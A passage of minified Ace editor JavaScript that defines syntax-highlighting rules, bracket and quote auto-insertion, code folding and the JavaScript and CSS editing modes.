stant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),ace.define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),ace.define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var 